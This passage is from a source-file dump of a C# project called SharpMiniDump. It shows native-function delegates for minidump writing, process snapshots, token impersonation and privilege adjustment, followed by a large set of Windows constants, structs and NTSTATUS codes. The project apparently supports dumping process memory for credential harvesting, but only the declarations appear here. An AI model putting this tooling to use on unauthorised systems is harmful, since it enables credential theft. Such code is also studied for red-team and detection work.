IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam);\n\n\n            [SuppressUnmanagedCodeSecurity]\n            [UnmanagedFunctionPointer(CallingConvention.Cdecl)]\n            public delegate bool OpenProcessToken(IntPtr hProcess, UInt32 dwDesiredAccess, out IntPtr hToken);\n\n            [SuppressUnmanagedCodeSecurity]\n            [UnmanagedFunctionPointer(CallingConvention.Cdecl)]\n            public delegate int LdrLoadDll(IntPtr PathToFile,\n                UInt32 dwFlags,\n                ref Natives.UNICODE_STRING ModuleFileName,\n                ref IntPtr ModuleHandle);\n\n            \n            [SuppressUnmanagedCodeSecurity]\n            [UnmanagedFunctionPointer(CallingConvention.Cdecl)]\n            public delegate int NtFilterToken(IntPtr TokenHandle, uint Flags, IntPtr SidsToDisable, IntPtr PrivilegesToDelete, IntPtr RestrictedSids, ref IntPtr hToken);\n            \n            [SuppressUnmanagedCodeSecurity]\n            [UnmanagedFunctionPointer(CallingConvention.Cdecl)]\n            public delegate bool RevertToSelf();\n\n            [SuppressUnmanagedCodeSecurity]\n            [UnmanagedFunctionPointer(CallingConvention.Cdecl)]\n            public delegate Boolean ImpersonateLoggedOnUser(IntPtr hToken);\n            \n\n            [SuppressUnmanagedCodeSecurity]\n            [UnmanagedFunctionPointer(CallingConvention.Cdecl)]\n            public delegate IntPtr GetCurrentProcess();\n\n            [SuppressUnmanagedCodeSecurity]\n            [UnmanagedFunctionPointer(CallingConvention.Cdecl)]\n            public delegate bool CloseHandle(IntPtr handle);\n\n            [SuppressUnmanagedCodeSecurity]\n            [UnmanagedFunctionPointer(CallingConvention.Cdecl)]\n            public delegate bool GetTokenInformation(IntPtr TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, IntPtr TokenInformation, UInt32 TokenInformationLength, out UInt32 ReturnLength);\n            \n            [SuppressUnmanagedCodeSecurity]\n            [UnmanagedFunctionPointer(CallingConvention.Cdecl)]\n            public delegate bool UpdateProcThreadAttribute(IntPtr lpAttributeList, uint dwFlags, IntPtr Attribute, IntPtr lpValue, IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize);\n\n            [SuppressUnmanagedCodeSecurity]\n            [UnmanagedFunctionPointer(CallingConvention.Cdecl)]\n            public delegate bool InitializeProcThreadAttributeList(IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize);\n\n            [SuppressUnmanagedCodeSecurity]\n            [UnmanagedFunctionPointer(CallingConvention.Cdecl)]\n            public delegate bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);\n\n            [SuppressUnmanagedCodeSecurity]\n            [UnmanagedFunctionPointer(CallingConvention.Cdecl)]\n            public delegate bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, IntPtr dwSize, uint newprotect, out uint oldprotect);\n\n            [SuppressUnmanagedCodeSecurity]\n            [UnmanagedFunctionPointer(CallingConvention.Cdecl)]\n            public delegate bool LookupPrivilegeValue(String lpSystemName, String lpName, ref LUID luid);\n\n            [SuppressUnmanagedCodeSecurity]\n            [UnmanagedFunctionPointer(CallingConvention.Cdecl)]\n            public delegate bool AdjustTokenPrivileges(IntPtr TokenHandle, bool DisableAllPrivileges, ref TOKEN_PRIVILEGES NewState, UInt32 BufferLengthInBytes, ref TOKEN_PRIVILEGES PreviousState, out UInt32 ReturnLengthInBytes);\n\n            [SuppressUnmanagedCodeSecurity]\n            [UnmanagedFunctionPointer(CallingConvention.Cdecl)]\n            public delegate int PssCaptureSnapshot(IntPtr ProcessHandle, PSS_CAPTURE_FLAGS CaptureFlags, int ThreadContextFlags, ref IntPtr SnapshotHandle);\n\n            [UnmanagedFunctionPointer(CallingConvention.Cdecl)]\n            public delegate bool MyMiniDumpWriteDumpCallback(IntPtr CallbackParam,  IntPtr CallbackInput, IntPtr CallbackOutput);\n        }\n    }\n}\n"
  },
  {
    "path": "SharpMiniDump/Natives.cs",
    "content": "//\n// Author: B4rtik (@b4rtik)\n// Project: SharpMiniDump (https://github.com/b4rtik/SharpMiniDump)\n// License: BSD 3-Clause\n//\n\nusing System;\nusing System.Runtime.InteropServices;\n\nnamespace SharpMiniDump\n{\n    class Natives\n    {\n        public const int FILE_READ_DATA = 0x0001;     // file & pipe\n        public const int FILE_LIST_DIRECTORY = 0x0001;     // directory\n        public const int FILE_WRITE_DATA = 0x0002;     // file & pipe\n        public const int FILE_ADD_FILE = 0x0002;     // directory\n        public const int FILE_APPEND_DATA = 0x0004;     // file\n        public const int FILE_ADD_SUBDIRECTORY = 0x0004;     // directory\n        public const int FILE_CREATE_PIPE_INSTANCE = 0x0004;     // named pipe\n        public const int FILE_READ_EA = 0x0008;     // file & directory\n        public const int FILE_WRITE_EA = 0x0010;     // file & directory\n        public const int FILE_EXECUTE = 0x0020;     // file\n        public const int FILE_TRAVERSE = 0x0020;     // directory\n        public const int FILE_DELETE_CHILD = 0x0040;     // directory\n        public const int FILE_READ_ATTRIBUTES = 0x0080;     // all\n        public const int FILE_WRITE_ATTRIBUTES = 0x0100;     // all\n        public const int FILE_OVERWRITE_IF = 0x00000005;\n        public const int FILE_SYNCHRONOUS_IO_NONALERT = 0x00000020;\n\n        public const long READ_CONTROL = 0x00020000;\n        public const long SYNCHRONIZE = 0x00100000;\n        public const long STANDARD_RIGHTS_WRITE = READ_CONTROL;\n        public const long STANDARD_RIGHTS_EXECUTE = READ_CONTROL;\n        public const long STANDARD_RIGHTS_ALL = 0x001F0000;\n\n        public const long SPECIFIC_RIGHTS_ALL = 0x0000FFFF;\n        public const long FILE_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0x1FF;\n\n        public const UInt32 STANDARD_RIGHTS_REQUIRED = 0x000F0000;\n        public const UInt32 STANDARD_RIGHTS_READ = 0x00020000;\n        public const UInt32 TOKEN_ASSIGN_PRIMARY = 0x0001;\n        public const UInt32 TOKEN_DUPLICATE = 0x0002;\n        public const UInt32 TOKEN_IMPERSONATE = 0x0004;\n        public const UInt32 TOKEN_QUERY = 0x0008;\n        public const UInt32 TOKEN_QUERY_SOURCE = 0x0010;\n        public const UInt32 TOKEN_ADJUST_PRIVILEGES = 0x0020;\n        public const UInt32 TOKEN_ADJUST_GROUPS = 0x0040;\n        public const UInt32 TOKEN_ADJUST_DEFAULT = 0x0080;\n        public const UInt32 TOKEN_ADJUST_SESSIONID = 0x0100;\n        public const UInt32 TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY);\n        public const UInt32 TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY |\n            TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE |\n            TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT |\n            TOKEN_ADJUST_SESSIONID);\n        public const UInt32 TOKEN_ALT = (TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY);\n\n        public const UInt32 SE_PRIVILEGE_ENABLED = 0x2;\n\n        public const long FILE_GENERIC_READ = STANDARD_RIGHTS_READ |\n          FILE_READ_DATA |\n          FILE_READ_ATTRIBUTES |\n          FILE_READ_EA |\n          SYNCHRONIZE;\n\n        public const long FILE_GENERIC_WRITE = STANDARD_RIGHTS_WRITE |\n          FILE_WRITE_DATA |\n          FILE_WRITE_ATTRIBUTES |\n          FILE_WRITE_EA |\n          FILE_APPEND_DATA |\n          SYNCHRONIZE;\n\n        public const long FILE_GENERIC_EXECUTE = STANDARD_RIGHTS_EXECUTE |\n          FILE_READ_ATTRIBUTES |\n          FILE_EXECUTE |\n          SYNCHRONIZE;\n\n        public const int FILE_SHARE_READ = 0x00000001;\n        public const int FILE_SHARE_WRITE = 0x00000002;\n        public const int FILE_SHARE_DELETE = 0x00000004;\n        public const int FILE_ATTRIBUTE_READONLY = 0x00000001;\n        public const int FILE_ATTRIBUTE_HIDDEN = 0x00000002;\n        public const int FILE_ATTRIBUTE_SYSTEM = 0x00000004;\n        public const int FILE_ATTRIBUTE_DIRECTORY = 0x00000010;\n        public const int FILE_ATTRIBUTE_ARCHIVE = 0x00000020;\n        public const int FILE_ATTRIBUTE_DEVICE = 0x00000040;\n        public const int FILE_ATTRIBUTE_NORMAL = 0x00000080;\n        public const int FILE_ATTRIBUTE_TEMPORARY = 0x00000100;\n        public const int FILE_ATTRIBUTE_SPARSE_FILE = 0x00000200;\n        public const int FILE_ATTRIBUTE_REPARSE_POINT = 0x00000400;\n        public const int FILE_ATTRIBUTE_COMPRESSED = 0x00000800;\n        public const int FILE_ATTRIBUTE_OFFLINE = 0x00001000;\n        public const int FILE_ATTRIBUTE_NOT_CONTENT_INDEXED = 0x00002000;\n        public const int FILE_ATTRIBUTE_ENCRYPTED = 0x00004000;\n        public const int FILE_NOTIFY_CHANGE_FILE_NAME = 0x00000001;\n        public const int FILE_NOTIFY_CHANGE_DIR_NAME = 0x00000002;\n        public const int FILE_NOTIFY_CHANGE_ATTRIBUTES = 0x00000004;\n        public const int FILE_NOTIFY_CHANGE_SIZE = 0x00000008;\n        public const int FILE_NOTIFY_CHANGE_LAST_WRITE = 0x00000010;\n        public const int FILE_NOTIFY_CHANGE_LAST_ACCESS = 0x00000020;\n        public const int FILE_NOTIFY_CHANGE_CREATION = 0x00000040;\n        public const int FILE_NOTIFY_CHANGE_SECURITY = 0x00000100;\n        public const int FILE_ACTION_ADDED = 0x00000001;\n        public const int FILE_ACTION_REMOVED = 0x00000002;\n        public const int FILE_ACTION_MODIFIED = 0x00000003;\n        public const int FILE_ACTION_RENAMED_OLD_NAME = 0x00000004;\n        public const int FILE_ACTION_RENAMED_NEW_NAME = 0x00000005;\n        public const int MAILSLOT_NO_MESSAGE = -1;\n        public const int MAILSLOT_WAIT_FOREVER = -1;\n        public const int FILE_CASE_SENSITIVE_SEARCH = 0x00000001;\n        public const int FILE_CASE_PRESERVED_NAMES = 0x00000002;\n        public const int FILE_UNICODE_ON_DISK = 0x00000004;\n        public const int FILE_PERSISTENT_ACLS = 0x00000008;\n        public const int FILE_FILE_COMPRESSION = 0x00000010;\n        public const int FILE_VOLUME_QUOTAS = 0x00000020;\n        public const int FILE_SUPPORTS_SPARSE_FILES = 0x00000040;\n        public const int FILE_SUPPORTS_REPARSE_POINTS = 0x00000080;\n        public const int FILE_SUPPORTS_REMOTE_STORAGE = 0x00000100;\n        public const int FILE_VOLUME_IS_COMPRESSED = 0x00008000;\n        public const int FILE_SUPPORTS_OBJECT_IDS = 0x00010000;\n        public const int FILE_SUPPORTS_ENCRYPTION = 0x00020000;\n        public const int FILE_NAMED_STREAMS = 0x00040000;\n        public const int FILE_READ_ONLY_VOLUME = 0x00080000;\n        public const int CREATE_ALWAYS = 2;\n\n        public struct WIN_VER_INFO\n        {\n            public string chOSMajorMinor;\n            public long dwBuildNumber;\n            public UNICODE_STRING ProcName;\n            public IntPtr hTargetPID;\n            public string lpApiCall;\n            public int SystemCall;\n        }\n\n        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]\n        public struct OSVERSIONINFOEXW\n        {\n            public int dwOSVersionInfoSize;\n            public int dwMajorVersion;\n            public int dwMinorVersion;\n            public int dwBuildNumber;\n            public int dwPlatformId;\n            [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)]\n            public string szCSDVersion;\n            public UInt16 wServicePackMajor;\n            public UInt16 wServicePackMinor;\n            public UInt16 wSuiteMask;\n            public byte wProductType;\n            public byte wReserved;\n        }\n\n\n\n        [StructLayout(LayoutKind.Sequential)]\n        public struct LARGE_INTEGER\n        {\n            public UInt32 LowPart;\n            public UInt32 HighPart;\n        }\n\n        [StructLayout(LayoutKind.Sequential)]\n        public struct UNICODE_STRING\n        {\n            public UInt16 Length;\n            public UInt16 MaximumLength;\n            public IntPtr Buffer;\n        }\n\n        [StructLayout(LayoutKind.Sequential)]\n        public struct SYSTEM_PROCESSES\n        {\n            public int NextEntryOffset;\n            public int NumberOfThreads;\n            public LARGE_INTEGER WorkingSetPrivateSize;\n            public uint HardFaultCount;\n            public uint NumberOfThreadsHighWatermark;\n            public ulong CycleTime;\n            public long CreateTime;\n            public long UserTime;\n            public long KernelTime;\n            public UNICODE_STRING ImageName;\n            public int BasePriority;\n            public IntPtr UniqueProcessId;\n            public IntPtr InheritedFromUniqueProcessId;\n            public int HandleCount;\n            public int SessionId;\n            public IntPtr UniqueProcessKey;\n            public IntPtr PeakVirtualSize;\n            public IntPtr VirtualSize;\n            public uint PageFaultCount;\n            public IntPtr PeakWorkingSetSize;\n            public IntPtr WorkingSetSize;\n            public IntPtr QuotaPeakPagedPoolUsage;\n            public IntPtr QuotaPagedPoolUsage;\n            public IntPtr QuotaPeakNonPagedPoolUsage;\n            public IntPtr QuotaNonPagedPoolUsage;\n            public IntPtr PagefileUsage;\n            public IntPtr PeakPagefileUsage;\n            public IntPtr PrivatePageCount;\n            public LARGE_INTEGER ReadOperationCount;\n            public LARGE_INTEGER WriteOperationCount;\n            public LARGE_INTEGER OtherOperationCount;\n            public LARGE_INTEGER ReadTransferCount;\n            public LARGE_INTEGER WriteTransferCount;\n            public LARGE_INTEGER OtherTransferCount;\n        }\n\n        [StructLayout(LayoutKind.Sequential)]\n        public struct LUID_AND_ATTRIBUTES\n        {\n            public LUID Luid;\n            public UInt32 Attributes;\n        }\n\n        [StructLayout(LayoutKind.Sequential)]\n        public struct LUID\n        {\n            public UInt32 LowPart;\n            public UInt32 HighPart;\n        }\n\n        [StructLayout(LayoutKind.Sequential)]\n        public struct TOKEN_PRIVILEGES\n        {\n            public UInt32 PrivilegeCount;\n            public LUID_AND_ATTRIBUTES Privileges;\n        }\n\n        [Flags]\n        public enum ProcessAccessFlags : uint\n        {\n            All = 0x001F0FFF,\n            Terminate = 0x00000001,\n            CreateThread = 0x00000002,\n            VirtualMemoryOperation = 0x00000008,\n            VirtualMemoryRead = 0x00000010,\n            VirtualMemoryWrite = 0x00000020,\n            DuplicateHandle = 0x00000040,\n            CreateProcess = 0x000000080,\n            SetQuota = 0x00000100,\n            SetInformation = 0x00000200,\n            QueryInformation = 0x00000400,\n            QueryLimitedInformation = 0x00001000,\n            Synchronize = 0x00100000\n        }\n\n        [StructLayout(LayoutKind.Sequential, Pack = 0)]\n        public struct IO_STATUS_BLOCK\n        {\n            public uint status;\n            public IntPtr information;\n        }\n\n        public struct CLIENT_ID\n        {\n            public IntPtr UniqueProcess;\n            public IntPtr UniqueThread;\n        }\n\n        [StructLayout(LayoutKind.Sequential)]\n        public struct OBJECT_ATTRIBUTES\n        {\n            public ulong Length;\n            public IntPtr RootDirectory;\n            public IntPtr ObjectName;\n            public ulong Attributes;\n            public IntPtr SecurityDescriptor;\n            public IntPtr SecurityQualityOfService;\n        }\n\n        public enum NTSTATUS : uint\n        {\n            // Success\n            Success = 0x00000000,\n            Wait0 = 0x00000000,\n            Wait1 = 0x00000001,\n            Wait2 = 0x00000002,\n            Wait3 = 0x00000003,\n            Wait63 = 0x0000003f,\n            Abandoned = 0x00000080,\n            AbandonedWait0 = 0x00000080,\n            AbandonedWait1 = 0x00000081,\n            AbandonedWait2 = 0x00000082,\n            AbandonedWait3 = 0x00000083,\n            AbandonedWait63 = 0x000000bf,\n            UserApc = 0x000000c0,\n            KernelApc = 0x00000100,\n            Alerted = 0x00000101,\n            Timeout = 0x00000102,\n            Pending = 0x00000103,\n            Reparse = 0x00000104,\n            MoreEntries = 0x00000105,\n            NotAllAssigned = 0x00000106,\n            SomeNotMapped = 0x00000107,\n            OpLockBreakInProgress = 0x00000108,\n            VolumeMounted = 0x00000109,\n            RxActCommitted = 0x0000010a,\n            NotifyCleanup = 0x0000010b,\n            NotifyEnumDir = 0x0000010c,\n            NoQuotasForAccount = 0x0000010d,\n            PrimaryTransportConnectFailed = 0x0000010e,\n            PageFaultTransition = 0x00000110,\n            PageFaultDemandZero = 0x00000111,\n            PageFaultCopyOnWrite = 0x00000112,\n            PageFaultGuardPage = 0x00000113,\n            PageFaultPagingFile = 0x00000114,\n            CrashDump = 0x00000116,\n            ReparseObject = 0x00000118,\n            NothingToTerminate = 0x00000122,\n            ProcessNotInJob = 0x00000123,\n            ProcessInJob = 0x00000124,\n            ProcessCloned = 0x00000129,\n            FileLockedWithOnlyReaders = 0x0000012a,\n            FileLockedWithWriters = 0x0000012b,\n\n            // Informational\n            Informational = 0x40000000,\n            ObjectNameExists = 0x40000000,\n            ThreadWasSuspended = 0x40000001,\n            WorkingSetLimitRange = 0x40000002,\n            ImageNotAtBase = 0x40000003,\n            RegistryRecovered = 0x40000009,\n\n            // Warning\n            Warning = 0x80000000,\n            GuardPageViolation = 0x80000001,\n            DatatypeMisalignment = 0x80000002,\n            Breakpoint = 0x80000003,\n            SingleStep = 0x80000004,\n            BufferOverflow = 0x80000005,\n            NoMoreFiles = 0x80000006,\n            HandlesClosed = 0x8000000a,\n            PartialCopy = 0x8000000d,\n            DeviceBusy = 0x80000011,\n            InvalidEaName = 0x80000013,\n            EaListInconsistent = 0x80000014,\n            NoMoreEntries = 0x8000001a,\n            LongJump = 0x80000026,\n            DllMightBeInsecure = 0x8000002b,\n\n            // Error\n            Error = 0xc0000000,\n            Unsuccessful = 0xc0000001,\n            NotImplemented = 0xc0000002,\n            InvalidInfoClass = 0xc0000003,\n            InfoLengthMismatch = 0xc0000004,\n            AccessViolation = 0xc0000005,\n            InPageError = 0xc0000006,\n            PagefileQuota = 0xc0000007,\n            InvalidHandle = 0xc0000008,\n            BadInitialStack = 0xc0000009,\n            BadInitialPc = 0xc000000a,\n            InvalidCid = 0xc000000b,\n            TimerNotCanceled = 0xc000000c,\n            InvalidParameter = 0xc000000d,\n            NoSuchDevice = 0xc000000e,\n            NoSuchFile = 0xc000000f,\n            InvalidDeviceRequest = 0xc0000010,\n            EndOfFile = 0xc0000011,\n            WrongVolume = 0xc0000012,\n            NoMediaInDevice = 0xc0000013,\n            NoMemory = 0xc0000017,\n            ConflictingAddresses = 0xc0000018,\n            NotMappedView = 0xc0000019,\n            UnableToFreeVm = 0xc000001a,\n            UnableToDeleteSection = 0xc000001b,\n            IllegalInstruction = 0xc000001d,\n            AlreadyCommitted = 0xc0000021,\n            AccessDenied = 0xc0000022,\n            BufferTooSmall = 0xc0000023,\n            ObjectTypeMismatch = 0xc0000024,\n            NonContinuableException = 0xc0000025,\n            BadStack = 0xc0000028,\n            NotLocked = 0xc000002a,\n            NotCommitted = 0xc000002d,\n            InvalidParameterMix = 0xc0000030,\n            ObjectNameInvalid = 0xc0000033,\n            ObjectNameNotFound = 0xc0000034,\n            ObjectNameCollision = 0xc0000035,\n            ObjectPathInvalid = 0xc0000039,\n            ObjectPathNotFound = 0xc000003a,\n            ObjectPathSyntaxBad = 0xc000003b,\n            DataOverrun = 0xc000003c,\n            DataLate = 0xc000003d,\n            DataError = 0xc000003e,\n            CrcError = 0xc000003f,\n            SectionTooBig = 0xc0000040,\n            PortConnectionRefused = 0xc0000041,\n            InvalidPortHandle = 0xc0000042,\n            SharingViolation = 0xc0000043,\n            QuotaExceeded = 0xc0000044,\n            InvalidPageProtection = 0xc0000045,\n            MutantNotOwned = 0xc0000046,\n            SemaphoreLimitExceeded = 0xc0000047,\n            PortAlreadySet = 0xc0000048,\n            SectionNotImage = 0xc0000049,\n            SuspendCountExceeded = 0xc000004a,\n            ThreadIsTerminating = 0xc000004b,\n            BadWorkingSetLimit = 0xc000004c,\n            IncompatibleFileMap = 0xc000004d,\n            SectionProtection = 0xc000004e,\n            EasNotSupported = 0xc000004f,\n            EaTooLarge = 0xc0000050,\n            NonExistentEaEntry = 0xc0000051,\n            NoEasOnFile = 0xc0000052,\n            EaCorruptError = 0xc0000053,\n            FileLockConflict = 0xc0000054,\n            LockNotGranted = 0xc0000055,\n            DeletePending = 0xc0000056,\n            CtlFileNotSupported = 0xc0000057,\n            UnknownRevision = 0xc0000058,\n            RevisionMismatch = 0xc0000059,\n            InvalidOwner = 0xc000005a,\n            InvalidPrimaryGroup = 0xc000005b,\n            NoImpersonationToken = 0xc000005c,\n            CantDisableMandatory = 0xc000005d,\n            NoLogonServers = 0xc000005e,\n            NoSuchLogonSession = 0xc000005f,\n            NoSuchPrivilege = 0xc0000060,\n            PrivilegeNotHeld = 0xc0000061,\n            InvalidAccountName = 0xc0000062,\n            UserExists = 0xc0000063,\n            NoSuchUser = 0xc0000064,\n            GroupExists = 0xc0000065,\n            NoSuchGroup = 0xc0000066,\n            MemberInGroup = 0xc0000067,\n            MemberNotInGroup = 0xc0000068,\n            LastAdmin = 0xc0000069,\n            WrongPassword = 0xc000006a,\n            IllFormedPassword = 0xc000006b,\n            PasswordRestriction = 0xc000006c,\n            LogonFailure = 0xc000006d,\n            AccountRestriction = 0xc000006e,\n            InvalidLogonHours = 0xc000006f,\n            InvalidWorkstation = 0xc0000070,\n            PasswordExpired = 0xc0000071,\n            AccountDisabled = 0xc0000072,\n            NoneMapped = 0xc0000073,\n            TooManyLuidsRequested = 0xc0000074,\n            LuidsExhausted = 0xc0000075,\n            InvalidSubAuthority = 0xc0000076,\n            InvalidAcl = 0xc0000077,\n            InvalidSid = 0xc0000078,\n            InvalidSecurityDescr = 0xc0000079,\n            ProcedureNotFound = 0xc000007a,\n            InvalidImageFormat = 0xc000007b,\n            NoToken = 0xc000007c,\n            BadInheritanceAcl = 0xc000007d,\n            RangeNotLocked = 0xc000007e,\n            DiskFull = 0xc000007f,\n            ServerDisabled = 0xc0000080,\n            ServerNotDisabled = 0xc0000081,\n            TooManyGuidsRequested = 0xc0000082,\n            GuidsExhausted = 0xc0000083,\n            InvalidIdAuthority = 0xc0000084,\n            AgentsExhausted = 0xc0000085,\n            InvalidVolumeLabel = 0xc0000086,\n            SectionNotExtended = 0xc0000087,\n            NotMappedData = 0xc0000088,\n            ResourceDataNotFound = 0xc0000089,\n            ResourceTypeNotFound = 0xc000008a,\n            ResourceNameNotFound = 0xc000008b,\n            ArrayBoundsExceeded = 0xc000008c,\n            FloatDenormalOperand = 0xc000008d,\n            FloatDivideByZero = 0xc000008e,\n            FloatInexactResult = 0xc000008f,\n            FloatInvalidOperation = 0xc0000090,\n            FloatOverflow = 0xc0000091,\n            FloatStackCheck = 0xc0000092,\n            FloatUnderflow = 0xc0000093,\n            IntegerDivideByZero = 0xc0000094,\n            IntegerOverflow = 0xc0000095,\n            PrivilegedInstruction = 0xc0000096,\n            TooManyPagingFiles = 0xc0000097,\n            FileInvalid = 0xc0000098,\n            InstanceNotAvailable = 0xc00000ab,\n            PipeNotAvailable = 0xc00000ac,\n            InvalidPipeState = 0xc00000ad,\n            PipeBusy = 0xc00000ae,\n            IllegalFunction = 0xc00000af,\n            PipeDisconnected = 0xc00000b0,\n            PipeClosing = 0xc00000b1,\n            PipeConnected = 0xc00000b2,\n            PipeListening = 0xc00000b3,\n            InvalidReadMode = 0xc00000b4,\n            IoTimeout = 0xc00000b5,\n            FileForcedClosed = 0xc00000b6,\n            ProfilingNotStarted = 0xc00000b7,\n            ProfilingNotStopped = 0xc00000b8,\n            NotSameDevice = 0xc00000d4,\n            FileRenamed = 0xc00000d5,\n            CantWait = 0xc00000d8,\n            PipeEmpty = 0xc00000d9,\n            CantTerminateSelf = 0xc00000db,\n            InternalError = 0xc00000e5,\n            InvalidParameter1 = 0xc00000ef,\n            InvalidParameter2 = 0xc00000f0,\n            InvalidParameter3 = 0xc00000f1,\n            InvalidParameter4 = 0xc00000f2,\n            InvalidParameter5 = 0xc00000f3,\n            InvalidParameter6 = 0xc00000f4,\n            InvalidParameter7 = 0xc00000f5,\n            InvalidParameter8 = 0xc00000f6,\n            InvalidParameter9 = 0xc00000f7,\n            InvalidParameter10 = 0xc00000f8,\n            InvalidParameter11 = 0xc00000f9,\n            InvalidParameter12 = 0xc00000fa,\n            MappedFileSizeZero = 0xc000011e,\n            TooManyOpenedFiles = 0xc000011f,\n            Cancelled = 0xc0000120,\n            CannotDelete = 0xc0000121,\n            InvalidComputerName = 0xc0000122,\n            FileDeleted = 0xc0000123,\n            SpecialAccount = 0xc0000124,\n            SpecialGroup = 0xc0000125,\n            SpecialUser = 0xc0000126,\n            MembersPrimaryGroup = 0xc0000127,\n            FileClosed = 0xc0000128,\n            TooManyThreads = 0xc0000129,\n            ThreadNotInProcess = 0xc000012a,\n            TokenAlreadyInUse = 0xc000012b,\n            PagefileQuotaExceeded = 0xc000012c,\n            CommitmentLimit = 0xc000012d,\n            InvalidImageLeFormat = 0xc000012e,\n            InvalidImageNotMz = 0xc000012f,\n            InvalidImageProtect = 0xc0000130,\n            InvalidImageWin16 = 0xc0000131,\n            LogonServer = 0xc0000132,\n            DifferenceAtDc = 0xc0000133,\n            SynchronizationRequired = 0xc0000134,\n            DllNotFound = 0xc0000135,\n            IoPrivilegeFailed = 0xc0000137,\n            OrdinalNotFound = 0xc0000138,\n            EntryPointNotFound = 0xc0000139,\n            ControlCExit = 0xc000013a,\n            PortNotSet = 0xc0000353,\n            DebuggerInactive = 0xc0000354,\n            CallbackBypass = 0xc0000503,\n            PortClosed = 0xc0000700,\n            MessageLost = 0xc0000701,\n            InvalidMessage = 0xc0000702,\n            RequestCanceled = 0xc0000703,\n            RecursiveDispatch = 0xc0000704,\n            LpcReceiveBufferExpected = 0xc0000705,\n            LpcInvalidConnectionUsage = 0xc0000706,\n            LpcRequestsNotAllowed = 0xc0000707,\n            ResourceInUse = 0xc0000708,\n            ProcessIsProtected = 0xc0000712,\n            VolumeDirty = 0xc0000806,\n            FileCheckedOut = 0xc0000901,\n            CheckOutRequired = 0xc0000902,\n            BadFileType = 0xc0000903,\n            FileTooLarge = 0xc0000904,\n            FormsAuthRequired = 0xc0000905,\n            VirusInfected = 0xc0000906,\n            VirusDeleted = 0xc0000907,\n            TransactionalConflict = 0xc0190001,\n            InvalidTransaction = 0xc0190002,\n            TransactionNotActive = 0xc0190003,\n            TmInitializationFailed = 0xc0190004,\n            RmNotActive = 0xc0190005,\n            RmMetadataCorrupt = 0xc0190006,\n            TransactionNotJoined = 0xc0190007,\n            DirectoryNotRm = 0xc0190008,\n            CouldNotResizeLog = 0xc0190009,\n            TransactionsUnsupportedRemote = 0xc019000a,\n            LogResizeInvalidSize = 0xc019000b,\n            RemoteFileVersionMismatch = 0xc019000c,\n            CrmProtocolAlreadyExists = 0xc019000f,\n            TransactionPropagationFailed = 0xc0190010,\n            CrmProtocolNotFound = 0xc0190011,\n            TransactionSuperiorExists = 0xc0190012,\n            TransactionRequestNotValid = 0xc0190013,\n            TransactionNotRequested = 0xc0190014,\n            TransactionAlreadyAborted = 0xc0190015,\n            TransactionAlreadyCommitted = 0xc0190016,\n            TransactionInvalidMarshallBuffer = 0xc0190017,\n            CurrentTransactionNotValid = 0xc0190018,\n            LogGrowthFailed = 0xc0190019,\n            ObjectNoLongerExists = 0xc0190021,\n            StreamMiniversionNotFound = 0xc0190022,\n            StreamMiniversionNotValid = 0xc0190023,\n            MiniversionInaccessibleFromSpecifiedTransaction = 0xc0190024,\n            CantOpenMiniversionWithModifyIntent = 0xc0190025,\n            CantCreateMoreStreamMiniversions = 0xc0190026,\n            HandleNoLongerValid = 0xc0190028,\n            NoTxfMetadata = 0xc0190029,\n            LogCorruptionDetected = 0xc0190030,\n            CantRecoverWithHandleOpen = 0xc0190031,\n            RmDisconnected = 0xc0190032,\n            EnlistmentNotSuperior = 0xc0190033,\n            RecoveryNotNeeded = 0xc0190034,\n            RmAlreadyStarted = 0xc0190035,\n            FileIdentityNotPersistent = 0xc0190036,\n            CantBreakTransactionalDependency = 0xc0190037,\n            CantCrossRmBoundary = 0xc0190038,\n            TxfDirNotEmpty = 0xc0190039,\n            IndoubtTransactionsExist = 0xc019003a,\n            TmVolatile = 0xc019003b,\n            RollbackTimerExpired = 0xc019003c,\n            TxfAttributeCorrupt = 0xc019003d,\n            EfsNotAllowedInTransaction = 0xc019003e,\n            TransactionalOpenNotAllowed = 0xc019003f,\n            TransactedMappingUnsupportedRemote = 0xc0190040,\n            TxfMetadataAlreadyPresent = 0xc0190041,\n            TransactionScopeCallbacksNotSet = 0xc0190042,\n            TransactionRequiredPromotion = 0xc0190043,\n            CannotExecuteFileInTransaction = 0xc0190044,\n            TransactionsNotFrozen = 0xc0190045,\n\n            MaximumNtStatus = 0xffffffff\n        }\n\n        public enum SYSTEM_INFORMATION_CLASS\n        {\n            SystemBasicInformation = 0x0000,\n            SystemProcessorInformation = 0x0001,\n            SystemPerformanceInformation = 0x0002,\n            SystemTimeOfDayInformation = 0x0003,\n            SystemPathInformation = 0x0004,\n            SystemProcessInformation = 0x0005,\n            SystemCallCountInformation = 0x0006,\n            SystemDeviceInformation = 0x0007,\n            SystemProcessorPerformanceInformation = 0x0008,\n            SystemFlagsInformation = 0x0009,\n            SystemCallTimeInformation = 0x000A,\n            SystemModuleInformation = 0x000B,\n            SystemLocksInformation = 0x000C,\n            SystemStackTraceInformation = 0x000D,\n            SystemPagedPoolInformation = 0x000E,\n            SystemNonPagedPoolInformation = 0x000F,\n            SystemHandleInformation = 0x0010,\n            SystemObjectInformation = 0x0011,\n            SystemPageFileInformation = 0x0012,\n            SystemVdmInstemulInformation = 0x0013,\n            SystemVdmBopInformation = 0x0014,\n            SystemFileCacheInformation = 0x0015,\n            SystemPoolTagInformation = 0x0016,\n            SystemInterruptInformation = 0x0017,\n            SystemDpcBehaviorInformation = 0x0018,\n            SystemFullMemoryInformation = 0x0019,\n            SystemLoadGdiDriverInformation = 0x001A,\n            SystemUnloadGdiDriverInformation = 0x001B,\n            SystemTimeAdjustmentInformation = 0x001C,\n            SystemSummaryMemoryInformation 